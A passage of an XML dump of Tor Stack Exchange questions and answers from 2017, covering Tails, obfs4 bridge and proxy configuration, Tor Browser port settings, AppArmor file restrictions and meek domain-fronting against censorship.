  <row Id="14202" PostTypeId="1" CreationDate="2017-02-28T00:50:42.193" Score="2" ViewCount="1419" Body="&lt;p&gt;I'm wondering if anyone can point me to where I can download an older version of Tails, since &lt;a href=&quot;https://dl.amnesia.boum.org/obsolete&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.amnesia.boum.org/obsolete&lt;/a&gt; no longer works, and neither does &lt;a href=&quot;https://archive.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help in advance!&lt;/p&gt;&#xA;" OwnerUserId="16489" LastActivityDate="2017-02-28T00:50:42.193" Title="Where Can I Download an Older Version of Tails?" Tags="|tails|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14205" PostTypeId="1" CreationDate="2017-02-28T07:48:46.093" Score="0" ViewCount="553" Body="&lt;p&gt;I want &lt;code&gt;tor&lt;/code&gt; to run continuously as soon as I am connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How does TAILS  manage to start tor automatically?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14928" LastActivityDate="2017-02-28T08:12:44.507" Title="How does TAILS manage to start tor automatically?" Tags="|tails|startup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14206" PostTypeId="2" ParentId="14205" CreationDate="2017-02-28T08:12:44.507" Score="1" Body="&lt;p&gt;It's installed as a system service, the same way as is defined &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en#ubuntu&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's started automatically at boot by systemd, the system service manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails also has extensive configuration and tweaks for it to use Tor properly, simply installing Tor won't provide the same features but it will start automatically when the operating system starts.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-28T08:12:44.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14207" PostTypeId="2" ParentId="14199" CreationDate="2017-02-28T09:52:54.993" Score="3" Body="&lt;p&gt;Google uses your geoip location to provide  a webpage with that language. If you get Google.com in French that means you're exiting from an exit node in France. To solve this try to use &lt;a href=&quot;https://encrypted.google.com/?gl=us&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://encrypted.google.com/?gl=us&lt;/a&gt; or just  &lt;a href=&quot;https://www.google.com/?gl=us&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.com/?gl=us&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16495" LastActivityDate="2017-02-28T09:52:54.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14208" PostTypeId="2" ParentId="14185" CreationDate="2017-02-28T11:44:08.613" Score="0" Body="&lt;p&gt;Since Wireshark is to be used for analyzing local Network traffic, using Whonix in this case will not yield you any Advantage in regards to security. Adding to that, please Keep in mind that you should only use such Software on Networks you are allowed to pen-test, in which case anonymity shouldn't be required.&lt;/p&gt;&#xA;" OwnerUserId="14536" LastActivityDate="2017-02-28T11:44:08.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14209" PostTypeId="1" CreationDate="2017-02-28T17:52:44.790" Score="2" ViewCount="193" Body="&lt;p&gt;Can anyone explain, in simple terms, &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/271-another-guard-selection.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;proposal  271&lt;/a&gt; for the new guard selection algorithm, implemented in Tor 0.3.x? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What makes it different from the previous guard selection algorithm? Is it the same behavior for hidden services and clients?&lt;/p&gt;&#xA;" OwnerUserId="16500" LastEditorUserId="12737" LastEditDate="2017-04-17T14:37:44.253" LastActivityDate="2017-06-11T23:35:20.470" Title="What does proposal 271 provide?" Tags="|guard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14211" PostTypeId="1" CreationDate="2017-02-28T22:36:46.593" Score="1" ViewCount="1019" Body="&lt;p&gt;First of all, I am not asking if it is a good idea to use Tor for sites like The Pirate Bay. I know that it will slow down the network for everyone else (and has been asked previously). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am developing a C++ application that uses a DHT server as the backend. If I use DTLS and route the traffic through Tor, will that be secure and work with Whonix? I know that by default Whonix blocks DHT traffic and requires a VPN for DHT to work. I am also using the rasterbar libtorrent libary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="16505" LastActivityDate="2022-01-05T23:05:10.323" Title="DHT routed through Tor" Tags="|whonix|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14212" PostTypeId="2" ParentId="14211" CreationDate="2017-02-28T23:51:26.173" Score="0" Body="&lt;p&gt;At time of writing, no leaks demonstrated with Whonix ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whonix doesn't really care if DHT or whatever. DHT usually apparently is just UDP. Maybe look if there is some TCP based DHT? Then you can safe the VPN. Or use Tor hidden services as your DHT replacement, a bit like ricochet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If UDP / DHT leaked, we did something major wrong at Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full disclosure:&#xA;I am a maintainer of Whonix.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2017-02-28T23:51:26.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14213" PostTypeId="1" AcceptedAnswerId="14214" CreationDate="2017-03-01T08:04:19.037" Score="0" ViewCount="1121" Body="&lt;p&gt;I am behind college proxy and trying to run a tor daemon on my system.&#xA;My torrc configuration is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTPSProxy 172.30.0.23:3128&#xA;&#xA;UseBridges 1&#xA; # This works for Ubuntu Linux, adjust the path according to your platform&#xA; #ClientTransportPlugin obfs4,obfs3 exec /usr/local/bin/obfs4proxy managed&#xA;&#xA;Bridge obfs4 &amp;lt;bridgeip&amp;gt;:&amp;lt;port&amp;gt; 71C023CF72CAD644FE0FA04C0EA8F840FD562C30 cert=bar8dxwmy5aM/OsRNIUNlLuipQen/NB1w81YhBIGJl89JiqZ+6uih/k4f3VjqjfJ13x4Gw iat-mode=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On running tor daemon using &lt;code&gt;sudo service tor start&lt;/code&gt; I am getting following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; * Checking if tor configuration is valid&#xA;Mar 01 13:11:33.412 [notice] Tor v0.2.4.27 (git-412e3f7dc9c6c01a) running on Linux with Libevent 2.0.21-stable and OpenSSL 1.0.1f.&#xA;Mar 01 13:11:33.412 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Mar 01 13:11:33.412 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Mar 01 13:11:33.412 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Mar 01 13:11:33.415 [warn] Key digest for Bridge is wrong length.&#xA;Mar 01 13:11:33.415 [warn] Failed to parse/validate config: Bridge line did not parse. See logs for details.&#xA;Mar 01 13:11:33.415 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My college bans tor traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding EtorPort auto new config is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; HTTPSProxy 172.30.0.23:3128&#xA;&#xA;UseBridges 1&#xA; # This works for Ubuntu Linux, adjust the path according to your platform&#xA; ClientTransportPlugin obfs4,obfs3 exec /usr/local/bin/obfs4proxy managed&#xA;&#xA;ExtORPort auto&#xA;&#xA;Bridge obfs4 &amp;lt;proxy&amp;gt;:&amp;lt;port&amp;gt; 71C023CF72CAD644FE0FA04C0EA8F840FD562C30 cert=bar8dxwmy5aM/OsRNIUNlLuipQen/NB1w81YhBIGJl89JiqZ+6uih/k4f3VjqjfJ13x4Gw iat-mode=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting following error message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* Checking if tor configuration is valid&#xA;Mar 01 20:55:01.148 [notice] Tor v0.2.4.27 (git-412e3f7dc9c6c01a) running on Linux with Libevent 2.0.21-stable and OpenSSL 1.0.1f.&#xA;Mar 01 20:55:01.148 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Mar 01 20:55:01.148 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Mar 01 20:55:01.148 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Mar 01 20:55:01.150 [warn] Failed to parse/validate config: Unknown option 'ExtORPort'.  Failing.&#xA;Mar 01 20:55:01.150 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16509" LastEditorUserId="16509" LastEditDate="2017-03-01T15:23:24.010" LastActivityDate="2017-03-02T22:20:02.387" Title="Key digest for Bridge is wrong length" Tags="|configuration|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14214" PostTypeId="2" ParentId="14213" CreationDate="2017-03-01T11:44:49.517" Score="0" Body="&lt;p&gt;You need to install obfs4proxy and uncomment the line &lt;code&gt;ClientTransportPlugin obfs4,obfs3 exec /usr/local/bin/obfs4proxy managed&lt;/code&gt; - it will tell Tor &quot;what is obfs4&quot; bridge backend. It's obviously can't parse the &lt;em&gt;Bridge&lt;/em&gt; directive - because &lt;code&gt;obfs4&lt;/code&gt; must be &quot;defined&quot; before used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: You seem to experience a double-proxying case, &lt;strong&gt;this is only a problem in versions of Tor prior to 0.2.6.x&lt;/strong&gt;. If you will take a look &lt;a href=&quot;https://github.com/Yawning/obfs4/blob/master/obfs4proxy/proxy_http.go&quot; rel=&quot;nofollow noreferrer&quot;&gt;here at obfs4 source code&lt;/a&gt; you will see that it actually understands HTTPS proxy and &lt;strong&gt;this &lt;em&gt;was&lt;/em&gt; the correct proxy configuration point&lt;/strong&gt;, because a pluggable transport is a &quot;proxy&quot; for tor - it wraps it's own communication &lt;em&gt;through&lt;/em&gt; it in the same manner, that what it is complaining about. So - in your torrc config your line &lt;code&gt;HTTPSProxy 172.30.0.23:3128&lt;/code&gt; must be commented out. But how to use your proxy &lt;em&gt;by obfs4&lt;/em&gt;? It uses Go language and the &lt;a href=&quot;https://github.com/golang/net/blob/master/proxy/proxy.go#L29&quot; rel=&quot;nofollow noreferrer&quot;&gt;golang.org/x/net/proxy&lt;/a&gt; Dialer in particular, which expects your proxy data to be in the environment. You should set *in your Tor user shell profile * the next lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export http_proxy=172.30.0.23:3128&#xA;export HTTP_PROXY=172.30.0.23:3128&#xA;export https_proxy=172.30.0.23:3128&#xA;export HTTPS_PROXY=172.30.0.23:3128&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;they are for Bash and Sh, if you're using different shell - please check it's manual&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="12737" LastEditDate="2017-03-02T22:20:02.387" LastActivityDate="2017-03-02T22:20:02.387" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14215" PostTypeId="1" AcceptedAnswerId="14216" CreationDate="2017-03-01T15:09:13.950" Score="0" ViewCount="97" Body="&lt;p&gt;Can Tor protect me if my threat model includes people around me and behind me looking at the screen?&lt;/p&gt;&#xA;" OwnerUserId="16514" LastActivityDate="2017-03-01T15:13:04.593" Title="Does Tor protect me if my threat model includes people around me and behind me looking at the screen?" Tags="|threat-models|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14216" PostTypeId="2" ParentId="14215" CreationDate="2017-03-01T15:11:41.167" Score="3" Body="&lt;p&gt;No, Tor does not protect you (nor any other software for that matter) if your threat model includes people around you looking at the screen, just as it wont protect you if you have spyware and malware on your computer that captures or logs everything in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can however use the following in combination with Tor to protect you against such threat model: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5z5Sp.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="16515" LastEditorUserId="16515" LastEditDate="2017-03-01T15:13:04.593" LastActivityDate="2017-03-01T15:13:04.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14220" PostTypeId="1" CreationDate="2017-03-02T03:54:07.827" Score="2" ViewCount="430" Body="&lt;p&gt;Is it possible to use a Bitcoin hardware wallet with the Electrum installed in Tails? It looks like there might be some libraries required for to access these devices over USB.&lt;/p&gt;&#xA;" OwnerUserId="16522" LastEditorUserId="88" LastEditDate="2017-09-25T11:54:43.833" LastActivityDate="2017-09-25T11:54:43.833" Title="Is it possible to use a Bitcoin hardware wallet with Tails?" Tags="|tails|bitcoin|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14221" PostTypeId="2" ParentId="14191" CreationDate="2017-03-02T04:21:07.553" Score="0" Body="&lt;p&gt;Some supporters donate to the &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;torproject.org&lt;/a&gt; and let the resources be distributed as needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there are more localized groups promoting Tor like &lt;a href=&quot;http://tor.noisebridge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Noisebridge&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if we don't support these types of networks we will all end up 'paying' for it. Pun intended.&lt;/p&gt;&#xA;" OwnerUserId="15316" LastActivityDate="2017-03-02T04:21:07.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14222" PostTypeId="1" CreationDate="2017-03-02T05:49:38.343" Score="2" ViewCount="788" Body="&lt;p&gt;Let's say for example I create a fake Google account and I want to use my Google account anonymously on my android phone. Without using the &quot;route all apps through Orbot&quot; feature, What are the specific apps needed to keep that account anonymous in Orbot?&lt;/p&gt;&#xA;" OwnerUserId="16521" LastEditorUserId="16521" LastEditDate="2017-03-02T18:42:08.137" LastActivityDate="2017-09-28T23:44:04.880" Title="What apps on android need to be routed using Orbot to be completely anonymous?" Tags="|anonymity|orbot|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14224" PostTypeId="1" CreationDate="2017-03-02T08:47:08.030" Score="4" ViewCount="5376" Body="&lt;p&gt;I was surprised to find this hadn't been asked already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;../Browser/TorBrowser/Data/Tor/torrc-defaults&lt;/code&gt; I tried changing SocksPort/ControlPort from 9150/9051 to 9170/9071. Then changed the SOCKS port in the browser &lt;code&gt;Preferences &amp;gt;&amp;gt; Advanced &amp;gt;&amp;gt; Network &amp;gt;&amp;gt; Settings...&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This didn't seem to work. The tor browser stalls when trying to open it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change the default tbb ports? If so, how to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu 16 with TBB 6.5&lt;/p&gt;&#xA;" OwnerUserId="16525" LastActivityDate="2017-03-04T00:37:54.987" Title="How to change Tor Browser default SocksPort?" Tags="|tor-browser-bundle|configuration|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14225" PostTypeId="2" ParentId="14222" CreationDate="2017-03-02T16:24:21.567" Score="1" Body="&lt;p&gt;Google Play Store and location-based ones. But keep in mind: in older versions Android had an option &quot;allow software and hardware inventarization for improving&quot;, on modern ones and on vendor-rebaked ones it is usually on by default and is not switchabe via UI. So if you need to be &lt;em&gt;anonymous&lt;/em&gt; in using your account - use Android Open-Source Project, fine-tuned for security.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-03-02T16:24:21.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14227" PostTypeId="1" AcceptedAnswerId="14266" CreationDate="2017-03-02T20:31:35.940" Score="0" ViewCount="202" Body="&lt;p&gt;example URL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.srf.ch/sport/tennis/wta-tour/wildcards-en-masse-fuer-scharapowa-zurecht#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click on the video, it just opens a new tab with the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AcCfk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AcCfk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why this is prevented by TBB on macOS? Those videos a privacy violation? It seems not flash, because I can play it on mobile device.&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2017-03-08T15:59:28.890" Title="can't play srf.ch video content (official TV channel from Switzerland regime)" Tags="|tor-browser-bundle|mac|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14228" PostTypeId="2" ParentId="9520" CreationDate="2017-03-03T01:32:42.527" Score="2" Body="&lt;p&gt;I have finally found a solution to this problem. For me, the offender was the &lt;code&gt;/lib/systemd/system/tor@default.service&lt;/code&gt; file. I was directed by Tor ops to modify this file to include &lt;em&gt;only&lt;/em&gt; the following after the &quot;Hardening&quot; comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Hardening&#xA;AppArmorProfile=&#xA;NoNewPrivileges=yes&#xA;PrivateTmp=no&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Comment out or delete everything else and you will no longer get the &quot;Operation not permitted&quot; error when launching obfs4proxy.&lt;/p&gt;&#xA;" OwnerUserId="16536" LastEditorUserId="88" LastEditDate="2017-03-09T23:29:19.420" LastActivityDate="2017-03-09T23:29:19.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14232" PostTypeId="1" AcceptedAnswerId="14236" CreationDate="2017-03-03T15:19:40.770" Score="3" ViewCount="5059" Body="&lt;p&gt;Using tails 2.1, I am trying to open an html file in a browser from persistent storage / or usb drive.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If I try to open in &lt;strong&gt;Tor browser&lt;/strong&gt; (default), it is not loaded at all.&#xA;(I tried disabling all add-ons, experimented with admin, etc).  Strangely, I &lt;strong&gt;can&lt;/strong&gt; load some html files, but only those in a specific folder like: &lt;code&gt;file:///usr/share/doc/tails/website/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I tried the &lt;strong&gt;Unsafe Browser&lt;/strong&gt;, but the app will not open at all, instead it gives me this error:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No DNS server was obtained through DHCP or manually configured in NetworkManager&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have disabled all networking as I am using this as an air-gapped system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly I am missing something here.&lt;/p&gt;&#xA;" OwnerUserId="3471" LastEditorUserId="3471" LastEditDate="2017-03-08T15:12:18.527" LastActivityDate="2017-11-28T22:12:45.543" Title="Load an html file in tails browser while offline?" Tags="|tor-browser-bundle|tails|browsers|persistent|apparmor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14233" PostTypeId="2" ParentId="14170" CreationDate="2017-03-03T18:23:31.140" Score="3" Body="&lt;p&gt;What do when meek is blocked &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2015-January/036410.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-talk/2015-January/036410.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But suppose a censor makes that call, and blocks&#xA;Google/Amazon/whatever. What then?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing you should try is a different backend. If you use&#xA;meek-google, try meek-amazon or meek-azure. Maybe your censor has&#xA;blocked one but not all of them. This is already the case for users in&#xA;China, where meek-google is blocked because Google is blocked, but the&#xA;others are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try using a different DNS server. The most common way to&#xA;block a domain name is by DNS poisoning; i.e., the IP address behind the&#xA;name is accessible, but the local DNS server gives you a false address.&#xA;Try a public DNS server such as 8.8.8.8. But if that works, be aware&#xA;that's it's probably only a temporary fix, as censors have historically&#xA;figured out the alternate-DNS trick pretty fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you really want to do, if the easy things don't work, is choose a&#xA;different front domain. The &quot;domain fronting&quot; trick is meek's core idea.&#xA;It lets you talk to one domain while appearing to talk to another. Tor&#xA;Browser comes with some built-in front domains, but you can also&#xA;configure your own. The current list of front domains is at&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;meek 0.0.2.0:2 url=https://d2zfqthxsdq309.cloudfront.net/ front=a0.awsstatic.com&#xA;meek 0.0.2.0:3 url=https://az668014.vo.msecnd.net/ front=ajax.aspnetcdn.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also find it in &lt;code&gt;Browser/TorBrowser/Data/Browser/profile.default/preferences/extension-overrides.js&lt;/code&gt;&#xA;inside the Tor Browser distribution . These are the default bridge lines&#xA;you get when you select meek-google, meek-amazon, or meek-azure from the&#xA;bridge configuration screen. But you can also enter them manually (under&#xA;&quot;Enter custom bridges&quot;), and then you can change the front domain. I&#xA;attached a screenshot that shows how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take a closer look at what this means:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;meek 0.0.2.0:1 url=https://meek-reflect.appspot.com/ front=www.google.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first part &quot;meek&quot; is the transport name; don't forget that. The&#xA;address &quot;0.0.2.0:1&quot; is ignored. You can set it to anything (just don't&#xA;use 0.0.0.X or port 0 because those are used internally by tor). The&#xA;next part, &lt;code&gt;url=https://meek-reflect.appspot.com/&lt;/code&gt;, says where your&#xA;traffic is &lt;em&gt;really&lt;/em&gt; going--to a Tor bridge. You can't change the &quot;url=&quot;&#xA;part unless you set up your own CDN account. The last part,&#xA;&quot;front=www.google.com&quot;, is the domain that you hide behind--where the&#xA;censor sees you going. The &quot;front=&quot; part is what you can change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With meek-amazon, you can use front domains that are on Amazon&#xA;CloudFront. The default a0.awsstatic.com is one of them, but you can&#xA;find others with some research. Here's a short list of some&#xA;*.cloudfront.net domains: &lt;a href=&quot;http://www.alexa.com/siteinfo/cloudfront.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.alexa.com/siteinfo/cloudfront.net&lt;/a&gt;&#xA;(&quot;Where do visitors go on cloudfront.net?&quot;). You can use any of them&#xA;(remember to change the &quot;front=&quot; part, not the &quot;url=&quot; part):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;meek 0.0.2.0:2 url=https://d2zfqthxsdq309.cloudfront.net/ front=d1xjir8ff9s1sc.cloudfront.net&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A lot of sites use their own domain name (CNAME) that aliases a&#xA;cloudfront.net domain. If you can find one of them, it will work too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation with meek-azure is similar. The default front domain,&#xA;ajax.aspnetcdn.com, is used by many web sites to host JavaScript files,&#xA;so we think it will be hard to block. You can also use subdomains of&#xA;vo.msecnd.net, which belong to the Azure CDN. You can find some with a&#xA;web search. This one seems to be related to Microsoft Office:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;meek 0.0.2.0:3 url=https://az668014.vo.msecnd.net/ front=officeimg.vo.msecnd.net&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's important to understand that even if you change the front domain,&#xA;you're not sticking some random person with a bandwidth bill. It's the&#xA;owner of the &quot;url=&quot; that gets charged, not the owner of the &quot;front=&quot;,&#xA;and the &quot;url=&quot; has to be specially set up to accept meek connections.&#xA;The &quot;url=&quot;s in this email are set up for public use (i.e., they are&#xA;what's getting paid for in the &quot;Summary of meek's costs&quot; emails I send&#xA;to tor-dev).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that you may increase your exposure if you choose an unpopular&#xA;front domain. If you're the only one using it, a censor may easily see&#xA;that and block you.&lt;/p&gt;&#xA;" OwnerUserId="16541" LastEditorUserId="88" LastEditDate="2017-03-17T10:22:21.440" LastActivityDate="2017-03-17T10:22:21.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14234" PostTypeId="2" ParentId="14148" CreationDate="2017-03-03T18:45:30.813" Score="2" Body="&lt;p&gt;Enable the &quot;High&quot; Security Setting in the TorButton, go to &lt;a href=&quot;https://ipv4.google.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ipv4.google.com&lt;/a&gt;, enter you search engine, and you will get a much simpler captcha (only text), and your search query will most likely work. (from my experience)&lt;/p&gt;&#xA;" OwnerUserId="16541" LastActivityDate="2017-03-03T18:45:30.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14236" PostTypeId="2" ParentId="14232" CreationDate="2017-03-04T00:03:16.540" Score="3" Body="&lt;p&gt;This is a restriction put in place by AppArmor to confine Tor Browser, as such cannot open files in the users home directory or mounted media &lt;em&gt;except&lt;/em&gt; where explicitly excepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this purpose, there are two folders that can be accessed in the users home directory, defined by these rules in &lt;code&gt;/etc/apparmor.d/torbrowser&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  owner &quot;@{HOME}/Tor Browser/&quot; rw,&#xA;  owner &quot;@{HOME}/Tor Browser/**&quot; rwk,&#xA;  owner &quot;@{HOME}/Persistent/Tor Browser/&quot; rw,&#xA;  owner &quot;@{HOME}/Persistent/Tor Browser/**&quot; rwk,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Similarly, it has exceptions for the Tails documentation/website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  /usr/share/doc/tails/website/ r,&#xA;  /usr/share/doc/tails/website/** r,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to open a file in Tor Browser from Persistent storage, you should place it in &lt;code&gt;~/Persistent/Tor Browser/&lt;/code&gt; (i.e. file:///home/amnesia/Persistent/Tor%20Browser/foo.html). Otherwise, it should exist in &lt;code&gt;~/Tor Browser/&lt;/code&gt; (i.e. file:///home/amesia/Tor%20Browser/foo.html).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, you would not be able to open the files from external storage in Unsafe Browser (were it even able to launch), as it runs inside a chrooted environment and under a different user, which means it would have no visibility of the files.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-04T00:03:16.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14237" PostTypeId="2" ParentId="14224" CreationDate="2017-03-04T00:37:54.987" Score="4" Body="&lt;p&gt;The easiest way to define them is through use of environment variables, e.g. start Tor Browser with the command, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;env TOR_SOCKS_PORT=9170 TOR_CONTROL_PORT=9071 ./Browser/start-tor-browser&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or by setting them in your default profile, e.g. creating a file called &lt;code&gt;/etc/profile.d/z-torbrowser.sh&lt;/code&gt; containing the lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export TOR_SOCKS_PORT=9170&#xA;export TOR_CONTROL_PORT=9071&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These environment variables are checked by the Tor Launcher and Tor Button extensions and if they are defined, they override the defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Alternatively&lt;/em&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more complicated approach and involves editing setting under &lt;code&gt;about:config&lt;/code&gt;, specifically these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extensions.torlauncher.control_port=9071&#xA;extensions.torbutton.custom.socks_port=9170&#xA;network.proxy.socks_port=9170&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-04T00:37:54.987" 